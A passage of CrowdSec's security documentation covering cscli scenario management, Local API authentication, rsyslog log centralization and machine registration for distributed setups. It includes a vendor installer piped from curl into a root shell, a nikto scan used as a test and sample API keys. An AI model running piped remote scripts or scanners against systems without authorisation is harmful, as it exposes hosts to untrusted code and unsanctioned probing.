crowdsecurity/http-bf-wordpress_bf INFO[0000] Enabled crowdsecurity/http-bf-wordpress_bf INFO[0000] Run 'systemctl reload crowdsec' for the new configuration to be effective. $ systemctl reload crowdsec ``` ### List[โ€‹](#list-2 "Direct link to List") SHCOPY ``` sudo cscli scenarios list ``` tip This will list only installed parsers. Use `--all` to list available parsers. [Scenario](https://docs.crowdsec.net/docs/next/log_processor/scenarios/intro.md) are yaml files in `/etc/crowdsec/scenarios/`. List installed scenarios SHCOPY ``` sudo cscli scenarios list --------------------------------------------------------------------------------------------------------------------------- NAME ๐Ÿ“ฆ STATUS VERSION LOCAL PATH --------------------------------------------------------------------------------------------------------------------------- crowdsecurity/ssh-bf โœ”๏ธ enabled 0.1 /etc/crowdsec/scenarios/ssh-bf.yaml crowdsecurity/http-bf-wordpress_bf โœ”๏ธ enabled 0.1 /etc/crowdsec/scenarios/http-bf-wordpress_bf.yaml crowdsecurity/http-crawl-non_statics โœ”๏ธ enabled 0.2 /etc/crowdsec/scenarios/http-crawl-non_statics.yaml crowdsecurity/http-probing โœ”๏ธ enabled 0.1 /etc/crowdsec/scenarios/http-probing.yaml crowdsecurity/http-sensitive-files โœ”๏ธ enabled 0.2 /etc/crowdsec/scenarios/http-sensitive-files.yaml crowdsecurity/http-bad-user-agent โœ”๏ธ enabled 0.2 /etc/crowdsec/scenarios/http-bad-user-agent.yaml crowdsecurity/http-path-traversal-probing โœ”๏ธ enabled 0.2 /etc/crowdsec/scenarios/http-path-traversal-probing.yaml crowdsecurity/http-sqli-probing โœ”๏ธ enabled 0.2 /etc/crowdsec/scenarios/http-sqli-probing.yaml crowdsecurity/http-backdoors-attempts โœ”๏ธ enabled 0.2 /etc/crowdsec/scenarios/http-backdoors-attempts.yaml crowdsecurity/http-xss-probing โœ”๏ธ enabled 0.2 /etc/crowdsec/scenarios/http-xss-probing.yaml --------------------------------------------------------------------------------------------------------------------------- ``` ### Upgrade[โ€‹](#upgrade-2 "Direct link to Upgrade") SHCOPY ``` sudo cscli hub update sudo cscli scenarios upgrade ``` Scenarios upgrade allows you to upgrade an existing scenario to the latest version. Upgrade **crowdsecurity/http-bf-wordpress\_bf** scenario SHCOPY ``` sudo cscli hub update INFO[06-08-2021 04:18:33 PM] Wrote new 126099 bytes index to /etc/crowdsec/hub/.index.json sudo cscli scenarios upgrade crowdsecurity/ssh-bf INFO[0000] crowdsecurity/ssh-bf : up-to-date WARN[0000] crowdsecurity/ssh-bf : overwrite INFO[0000] ๐Ÿ“ฆ crowdsecurity/ssh-bf : updated INFO[0000] Upgraded 1 items INFO[0000] Run 'systemctl reload crowdsec' for the new configuration to be effective. ``` ### Monitor[โ€‹](#monitor-2 "Direct link to Monitor") SHCOPY ``` sudo cscli scenarios inspect ``` Scenarios inspect will give you detailed information about a given scenario, including versioning data *and* runtime metrics (fetched from prometheus). Inspect **crowdsecurity/http-bf-wordpress\_bf** scenario SHCOPY ``` sudo cscli scenarios inspect crowdsecurity/ssh-bf type: scenarios name: crowdsecurity/ssh-bf filename: ssh-bf.yaml description: Detect ssh bruteforce author: crowdsecurity references: - http://wikipedia.com/ssh-bf-is-bad belongs_to_collections: - crowdsecurity/sshd remote_path: scenarios/crowdsecurity/ssh-bf.yaml version: "0.1" local_path: /etc/crowdsec/scenarios/ssh-bf.yaml localversion: "0.1" localhash: 4441dcff07020f6690d998b7101e642359ba405c2abb83565bbbdcee36de280f installed: true downloaded: true uptodate: true tainted: false local: false Current metrics : - (Scenario) crowdsecurity/ssh-bf: +---------------+-----------+--------------+--------+---------+ | CURRENT COUNT | OVERFLOWS | INSTANCIATED | POURED | EXPIRED | +---------------+-----------+--------------+--------+---------+ | 14 | 5700 | 7987 | 42572 | 2273 | +---------------+-----------+--------------+--------+---------+ ``` ### Reference[โ€‹](#reference-3 "Direct link to Reference") See more about scenarios [here](https://docs.crowdsec.net/docs/next/log_processor/scenarios/intro.md). --- # Introduction Explore the CrowdSec guides for insightful starting points on installation, configuration, and troubleshooting. Please note that these guides serve as initial references, and for more comprehensive assistance or specific queries, further exploration or reaching out for additional support is encouraged. --- # Local API The Local API (LAPI) is a core component of CrowdSec and has a few essential missions : * Allow CrowdSec machines to push alerts & decisions to a database * Allow bouncers to consume said alerts & decisions from database * Allow `cscli` to view add or delete decisions You can find the swagger documentation [here](https://crowdsecurity.github.io/api_doc/lapi/). ## Authentication[โ€‹](#authentication "Direct link to Authentication") There are two kinds of authentication to the Local API : * Bouncers: they authenticate with an API key and can only read decisions * Machines: they authenticate with a login and password and can not only read decisions, but create new ones too * TLS client certificates: it allows you to connect new bouncers or agents to the local API without registring them first ### Bouncers[โ€‹](#bouncers "Direct link to Bouncers") To register a bouncer to your API, you need to run the following command on the server where the API is installed: SHCOPY ``` sudo cscli bouncers add testBouncer ``` and keep the generated API token to use it in your bouncers configuration file. See [here](https://docs.crowdsec.net/docs/next/local_api/tls_auth.md) for the documentation about TLS authentication. ### Machines[โ€‹](#machines "Direct link to Machines") To allow a machine to communicate with the Local API, the machine needs to be validated by an administrator of the Local API. There are two ways to register a CrowdSec to a Local API. * You can create a machine directly on the API server that will be automatically validated by running the following command on the server where the API is installed: SHCOPY ``` sudo cscli machines add testMachine ``` If your CrowdSec agent runs on the same server as the Local API, then the credentials file (including the API URL) will be generated automatically, otherwise you will have to copy/paste them in `/etc/crowdsec/local_api_credentials.yaml` on the agent machine. * You can use `cscli` to register to the API server: TEXTCOPY ``` sudo cscli lapi register -u ``` And validate it with `cscli` on the server where the API is installed: TEXTCOPY ``` sudo cscli machines validate ``` tip You can use `cscli machines list` to list all the machines registered to the API and view the ones that are not validated yet. See [here](https://docs.crowdsec.net/docs/next/local_api/tls_auth.md) for the documentation about TLS authentication. ## Configuration[โ€‹](#configuration "Direct link to Configuration") ### Client[โ€‹](#client "Direct link to Client") By default, `crowdsec` and `cscli` use `127.0.0.1:8080` as the default Local API. However you might want to use a remote API and configure a different endpoint for your API client. #### Register to a remote API server[โ€‹](#register-to-a-remote-api-server "Direct link to Register to a remote API server") * On the remote CrowdSec server, run: TEXTCOPY ``` sudo cscli lapi register -u http://: ``` * On the Local API server, validate the machine by running the command: SHCOPY ``` sudo cscli machines list # to get the name of the new registered machine ``` TEXTCOPY ``` sudo cscli machines validate ``` ### Server[โ€‹](#server "Direct link to Server") #### Configure listen URL[โ€‹](#configure-listen-url "Direct link to Configure listen URL") If you would like your Local API to be used by a remote CrowdSec you will need to modify the URL it listens on. Modify the [`listen_uri` option](https://docs.crowdsec.net/docs/next/configuration/crowdsec_configuration.md#listen_uri) in the main configuration file. Then see [how to configure your crowdsec to use a remote API](https://docs.crowdsec.net/u/user_guides/machines_mgmt.md#machine-register). #### Enable SSL[โ€‹](#enable-ssl "Direct link to Enable SSL") The most common use case of the Local API is to listen on 127.0.0.1. In that case there's no need for configuring any SSL layer. In some cases, the Local API will listen for other CrowdSec installations that will report their triggered scenarios. In that case the endpoint may be configured with SSL. You can see how to configure SSL on your Local API [here](https://docs.crowdsec.net/docs/next/configuration/crowdsec_configuration.md#tls). See the [Local API public documentation](https://crowdsecurity.github.io/api_doc/lapi/). --- # Log Centralization ## Introduction[โ€‹](#introduction "Direct link to Introduction") If you expose services on the internet from multiple servers, setting up crowdsec on all of them might make the overall setup more complex. To simplify things, you can use a central server to receive all your logs and only run a single instance of crowdsec on this server. In this guide, our goal is to centralize two types of logs: * Nginx logs * SSH auth logs We'll configure nginx to forward the access logs to our central rsyslog server.
We'll configure a local rsyslog for the auth logs on each web server and forward them to our central server. On the central server, a rsyslog server will receive those logs and write them into files.
The Security Engine will analyze those logs on this same server to detect malicious behaviours.
Finally, we will have a Firewall Remediation Component running on each web server to block the malicious IPs. Our infrastructure will look like this: ![target-infra](/assets/images/user_guide_log_centralization-2d7661ab3efe4af39ccb875ff46be87f.svg) Before diving into the setup, a few key points: * If you have a firewall, you will need to allow communication on 514/UDP (Syslog) and 8080/TCP (crowdsec LAPI) from the web servers to the central server * By default, rsyslog is a clear-text protocol. If all the machines interact over LAN, this is probably not an issue, but if they communicate over the internet, you will probably want to set up TLS on the syslog server. ## Rsyslog Server Setup[โ€‹](#rsyslog-server-setup "Direct link to Rsyslog Server Setup") Let's start by setting up our central rsyslog. If rsyslog is not installed, you can install it with `apt install rsyslog` (assuming a debian-like distribution). The first step is to configure rsyslog with a UDP listener and a template to write the received logs to disk. Create the file `/etc/rsyslog.d/10_remote.conf` with the following content: TEXTCOPY ``` # Load the UDP receiver module(load="imudp") input(type="imudp" port="514") # Create a template for the logs template(name="NginxLogs" type="string" string="/var/log/remote-logs/nginx/%HOSTNAME%.log") template(name="AuthLogs" type="string" string="/var/log/remote-logs/auth/%HOSTNAME%.log") # Rsyslog will write both access logs and error logs to the same file # You can split them by using a custom program name on the nginx side if ($inputname == 'imudp' and $programname == 'nginx') then ?NginxLogs & stop # Write SSH logs to auth.log if ($inputname == 'imudp' and $programname == 'sshd') then ?AuthLogs & stop # Drop everything else; we are not interested in them if ($inputname == 'imudp') then stop ``` Then, we need to create the `/var/log/remote-logs/` to store logs: SHCOPY ``` $ sudo mkdir /var/log/remote-logs/ && sudo chown syslog:syslog /var/log/remote-logs/ ``` You will also need to edit `/etc/rsyslog.conf` to make sure `$RepeatedMsgReduction` is set to `off` (some distributions set it to `on` by default, but this is rarely recommended, especially when consuming potentially a high volume of logs) Finally, restart rsyslog to use the new configuration: SHCOPY ``` systemctl restart rsyslog ``` We will also set up Logrotate to avoid filling our disk with the logs. Create a file `/etc/logrotate.d/remote-logs` with the following content: TEXTCOPY ``` /var/log/remote-logs/*/*.log { daily rotate 7 compress missingok notifempty create 0640 syslog adm sharedscripts postrotate /bin/systemctl reload rsyslog.service > /dev/null 2>&1 || true endscript } ``` This configuration will keep 7 days of compressed logs. ## Rsyslog Client Setup[โ€‹](#rsyslog-client-setup "Direct link to Rsyslog Client Setup") ### Nginx logs[โ€‹](#nginx-logs "Direct link to Nginx logs") Update your nginx configuration to send the access and error logs over syslog to our central server: TEXTCOPY ``` access_log syslog:server=; error_log syslog:server=; ``` As nginx supports multiple `access_log` and `error_log` directives, you can keep the existing directives to keep a local copy of the logs. ### Auth logs[โ€‹](#auth-logs "Direct link to Auth logs") Create a file `/etc/rsyslog.d/99-auth-forward.conf` with the following content: TEXTCOPY ``` auth,authpriv.* @:514 ``` Restart the rsyslog client: SHCOPY ``` $ systemctl restart rsyslog ``` ## CrowdSec Setup[โ€‹](#crowdsec-setup "Direct link to CrowdSec Setup") ### Central Server[โ€‹](#central-server "Direct link to Central Server") Back on the central server, let's install crowdsec. First, we need to add the crowdsec repository: SHCOPY ``` $ curl https://install.crowdsec.net | sudo bash ``` Next, we install crowdsec: SHCOPY ``` $ sudo apt install crowdsec ``` CrowdSec will automatically detect we are running on a Linux server and install the base Linux collection. But because our logs are not in a standard location, we need to configure the acquisition to tell crowdsec where our logs are. Create a file in `/etc/crowdsec/acquis.d/nginx.yaml` with the following content: TEXTCOPY ``` filenames: - /var/log/remote-logs/nginx/*.log labels: type: syslog ``` Repeat for auth logs, create a file `/etc/crowdsec/acquis.d/ssh.yaml` with the following content: TEXTCOPY ``` filenames: - /var/log/remote-logs/auth/*.log labels: type: syslog ``` Note that we are setting the type label to `syslog`, instructing crowdsec to use the `syslog` parser to extract the actual type from the log itself. Then, we need to install the nginx collection for crowdsec to be able to detect attacks: SHCOPY ``` $ sudo cscli collections install crowdsecurity/nginx ``` Lastly, we will also need to make crowdsec on all interfaces to make sure our web servers can contact LAPI.
Edit the file `/etc/crowdsec/config.yaml`, and set `api.server.listen_uri` to `0.0.0.0:8080`: YAMLCOPY ``` api: server: listen_uri: 0.0.0.0:8080 ``` Finally, restart crowdsec: SHCOPY ``` $ sudo systemctl restart crowdsec ``` ### Remediation components setup[โ€‹](#remediation-components-setup "Direct link to Remediation components setup") CrowdSec, by itself, will only detect bad behaviors and make decisions about IPs; it will not block them. To block an IP, you need to install a [remediation component](https://docs.crowdsec.net/u/bouncers/intro.md). For this guide, we'll be using the [firewall remediation component](https://docs.crowdsec.net/u/bouncers/firewall.md) that will add local firewall rules to block malicious IPs. On your web servers, add the crowdsec repository: SHCOPY ``` $ curl https://install.crowdsec.net/ | bash ``` Then, install the firewall remediation component: SHCOPY ``` $ sudo apt install crowdsec-firewall-bouncer-nftables ``` We now need to create API keys for both our remediation components. On the central server, run the commands: SHCOPY ``` $ sudo cscli bouncers add fw-bouncer-web-1 API key for 'fw-bouncer-web-1': v3G2V//B4IAEFUkON3zWq5yz331UGZDQlQercn3n5T8 Please keep this key since you will not be able to retrieve it! $ sudo cscli bouncers add fw-bouncer-web-2 API key for 'fw-bouncer-web-2': Nda9MreJsUBt/EEmz3TI0Jr6p1a9U2XSx5CEeVfkNRw Please keep this key since you will not be able to retrieve it! ``` Now, on each web server, edit the file `/etc/crowdsec/bouncers/crowdsec-firewall-bouncer.yaml` and update the `api_url` options with the IP on the central server, and paste the API key in `api_key`: YAMLCOPY ``` api_url: http://:8080/ api_key: ``` Finally, restart the remediation component: SHCOPY ``` $ sudo systemctl restart crowdsec-firewall-bouncer ``` ## Test[โ€‹](#test "Direct link to Test") Now that everything is setup, it's time to test ! We'll scan one of our web servers, and because both of them are querying the same crowdsec instance if one detects the attack, the other server will also block the attacker. info Replace the placeholders with the actual IP of your servers SHCOPY ``` $ nikto -h ``` After the scan is done, try to access the two servers with curl: SHCOPY ``` $ curl --connect-timeout 2 curl: (28) Connection timed out after 2002 milliseconds $ curl --connect-timeout 2 curl: (28) Connection timed out after 2002 milliseconds ``` You can also check on the central server that everything is working correctly: SHCOPY ``` $ sudo cscli metrics โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Acquisition Metrics โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ Source โ”‚ Lines read โ”‚ Lines parsed โ”‚ Lines unparsed โ”‚ Lines poured to bucket โ”‚ Lines whitelisted โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ file:/var/log/remote-logs/ip-172-31-11-52/auth.log โ”‚ 5 โ”‚ - โ”‚ 5 โ”‚ - โ”‚ - โ”‚ โ”‚ file:/var/log/remote-logs/ip-172-31-11-52/nginx.log โ”‚ 1 โ”‚ 1 โ”‚ - โ”‚ 1 โ”‚ - โ”‚ โ”‚ file:/var/log/remote-logs/ip-172-31-3-141/auth.log โ”‚ 3 โ”‚ - โ”‚ 3 โ”‚ - โ”‚ - โ”‚ โ”‚ file:/var/log/remote-logs/ip-172-31-3-141/nginx.log โ”‚ 99 โ”‚ 99 โ”‚ - โ”‚ 195 โ”‚ - โ”‚ โ”‚ file:/var/log/syslog โ”‚ 3 โ”‚ - โ”‚ 3 โ”‚ - โ”‚ - โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` And view the current decisions: SHCOPY ``` $ sudo cscli decisions list โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ ID โ”‚ Source โ”‚ Scope:Value โ”‚ Reason โ”‚ Action โ”‚ Country โ”‚ AS โ”‚ Events โ”‚ expiration โ”‚ Alert ID โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ 30011 โ”‚ crowdsec โ”‚ Ip:X.X.X.X โ”‚ crowdsecurity/http-crawl-non_statics โ”‚ ban โ”‚ FR โ”‚ 12322 Free SAS โ”‚ 43 โ”‚ 3h57m29s โ”‚ 14 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` You can delete the decision with `cscli decision delete` to regain access to the web servers. --- # Machines CrowdSec is composed of different components that communicate via a Local API. To access it, the various components (CrowdSec agent, cscli and bouncers) need to be authenticated. info This documentation is be relevant mostly to administrators that need to setup distributed architectures. Single machine users (or with several machines with independent crowdsec installations) can likely skip this part. There are two kind of access to the local api : * `machines`: a login/password authentication used by cscli and CrowdSec, it allows to post, get and delete decisions and alerts. * `bouncers`: a token authentication used by bouncers to query the decisions, it only allows to get decisions. ## Machines authentication[โ€‹](#machines-authentication "Direct link to Machines authentication") caution The `cscli machines` command interacts directly with the database (machines add and delete are not implemented in the API), therefore it must have the correct database configuration. SHCOPY ``` $ cscli machines list ``` You can view the registered machines with `list`, and add or delete them: SHCOPY ``` sudo cscli machines add mytestmachine -a INFO[0004] Machine 'mytestmachine' created successfully INFO[0004] API credentials dumped to '/etc/crowdsec/local_api_credentials.yaml' sudo cscli machines delete 82929df7ee394b73b81252fe3b4e5020 ``` cscli machines example SHCOPY ``` sudo cscli machines list ---------------------------------------------------------------------------------------------------------------------------------- NAME IP ADDRESS LAST UPDATE STATUS VERSION ---------------------------------------------------------------------------------------------------------------------------------- 82929df7ee394b73b81252fe3b4e5020 127.0.0.1 2020-10-31T14:06:32+01:00 โœ”๏ธ v0.3.6-3d6ce33908409f2a830af6551a7f5e37f2a4728f ---------------------------------------------------------------------------------------------------------------------------------- sudo cscli machines add mytestmachine -a INFO[0004] Machine 'mytestmachine' created successfully INFO[0004] API credentials dumped to '/etc/crowdsec/local_api_credentials.yaml' sudo cscli machines list ---------------------------------------------------------------------------------------------------------------------------------- NAME IP ADDRESS LAST UPDATE STATUS VERSION ---------------------------------------------------------------------------------------------------------------------------------- 82929df7ee394b73b81252fe3b4e5020 127.0.0.1 2020-10-31T14:06:32+01:00 โœ”๏ธ v0.3.6-3d6ce33908409f2a830af6551a7f5e37f2a4728f mytestmachine 127.0.0.1 2020-11-01T11:37:19+01:00 โœ”๏ธ v0.3.6-6a18458badf8ae5fed8d5f1bb96fc7a59c96163c ---------------------------------------------------------------------------------------------------------------------------------- sudo cscli machines delete -m 82929df7ee394b73b81252fe3b4e5020 sudo cscli machines list --------------------------------------------------------------------------------------------------------- NAME IP ADDRESS LAST UPDATE STATUS VERSION --------------------------------------------------------------------------------------------------------- mytestmachine 127.0.0.1 2020-11-01T11:37:19+01:00 โœ”๏ธ v0.3.6-6a18458badf8ae5fed8d5f1bb96fc7a59c96163c --------------------------------------------------------------------------------------------------------- ``` ## Machine register[โ€‹](#machine-register "Direct link to Machine register") It is also possible to register from an agent-only machine to the Local API with `cscli lapi` and then validate it on the Local API machine. * CrowdSec Agent Machine * CrowdSec Local API Machine SHCOPY ``` sudo cscli lapi register --url [crowdsec_local_api_url] --machine [your_machine_name] ``` SHCOPY ``` sudo cscli machines list ``` Get the name of the machine that has just registered and validate it: SHCOPY ``` sudo cscli machines validate [machine_name] ``` ### Machine auto validation[โ€‹](#machine-auto-validation "Direct link to Machine auto validation") warning If you enabled this feature, make sure to restrict the IP ranges as much as possible. Any rogue machine registered in your LAPI will be able to push arbitrary alerts, and potentially lock you out. In some situation, it's not practical to manually create or validate new machines in LAPI (eg, when running in an environment that uses auto-scaling). It is possible to configure LAPI to automatically accept new machines upon creation with the `api.server.auto_registration` section: YAMLCOPY ``` api: server: auto_registration: enabled: true token: "long_token_that_is_at_least_32_characters_long" allowed_ranges: - 10.2.0.42/32 - 10.0.0.0/24 ``` You have to specify both the `token` and `allowed_ranges`. Once the configuration is done, you can pass the token to your registration request with the `--token` parameter: SHCOPY ``` cscli lapi register --machine my_machine --token long_token_that_is_at_least_32_characters_long ``` If the token is valid and the request is coming from an authorized IP range, LAPI will automatically validate the machine and it will be able to login without any further configuration. If no token is sent, LAPI will treat the request as a normal registration, regardless of the configuration. If a token is set but invalid, the request will be refused. --- # About multi-server setup ## Introduction[โ€‹](#introduction "Direct link to Introduction") Crowdsec's [architecture](https://docs.crowdsec.net/docs/next/intro.md#architecture) allows distributed setups, as most components communicate via [HTTP API](https://docs.crowdsec.net/docs/next/local_api/intro.md). When doing such, a few considerations must be kept in mind to understand the role of each component: * The log processor is in charge of [processing the logs](https://docs.crowdsec.net/docs/next/log_processor/parsers/intro.md), matching them against [scenarios](https://docs.crowdsec.net/docs/next/log_processor/scenarios/intro.md), and sending the resulting alerts to the [local API](https://docs.crowdsec.net/docs/next/local_api/intro.md) * The local API (LAPI from now on) receives the alerts and converts them into decisions based on your profile * LAPI also takes care of communication with [CAPI](https://docs.crowdsec.net/docs/next/central_api/intro.md) to pull blocklists and push alerts to the console. * The remediation component query the LAPI to receive the decisions to be applied You can mix and match deployment methods and OS in the same setup, for example: * LAPI running on a Linux server * 1 log processor running on Windows alongside a [Windows Firewall remediation component](https://docs.crowdsec.net/u/bouncers/windows_firewall.md) * 1 log processor running in Docker on Linux alongside a [Firewall remediation component](https://docs.crowdsec.net/u/bouncers/firewall.md) running on Linux * 1 [Nginx remediation component](https://docs.crowdsec.net/u/bouncers/nginx.md) running on your webserver ![](/img/distributed_SE_setup.svg) ## Setup[โ€‹](#setup "Direct link to Setup") info This guide will focus on using login/password authentication for the log processors for simplicity. You can also use [TLS Authentication](https://docs.crowdsec.net/docs/next/local_api/tls_auth.md), which does not require to validate log processors but you will need to create a PKI. ### LAPI[โ€‹](#lapi "Direct link to LAPI") Follow the [getting started guide](https://docs.crowdsec.net/u/getting_started/installation/linux.md) to install Crowdsec. You will need to edit the `/etc/crowdsec/config.yaml` file to make LAPI listen on all interfaces: YAMLCOPY ``` api: server: listen_uri: 0.0.0.0:8080 ``` Optionally, if you only want to run a LAPI instance on this machine, you can disable the log processor in the same file by removing the `crowdsec_service` section. You can also enable automatic registration of new machines to simplify adding log processors in the future by adding the following to the configuration file: YAMLCOPY ``` api: server: auto_registration: enabled: true token: "long_token_that_is_at_least_32_characters_long" allowed_ranges: - 10.0.0.0/24 ``` Both `token` and `allowed_ranges` are mandatory. warning Because a log processor can push arbitrary alerts to LAPI (and hence can easily lock you out), make sure to restrict as much as possible the allowed IPs and keep the token safe. Finally, restart crowdsec to apply the changes. Note that LAPI only receives the alerts and turn them into decisions, this means: * You do not have to install any parser or scenario on it, they must be installed on the log processors directly. * If you want to have custom decisions (custom duration for example), you need to modify the file `/etc/crowdsec/profiles.yaml` on the LAPI, not on the log processors. ### Log processors[โ€‹](#log-processors "Direct link to 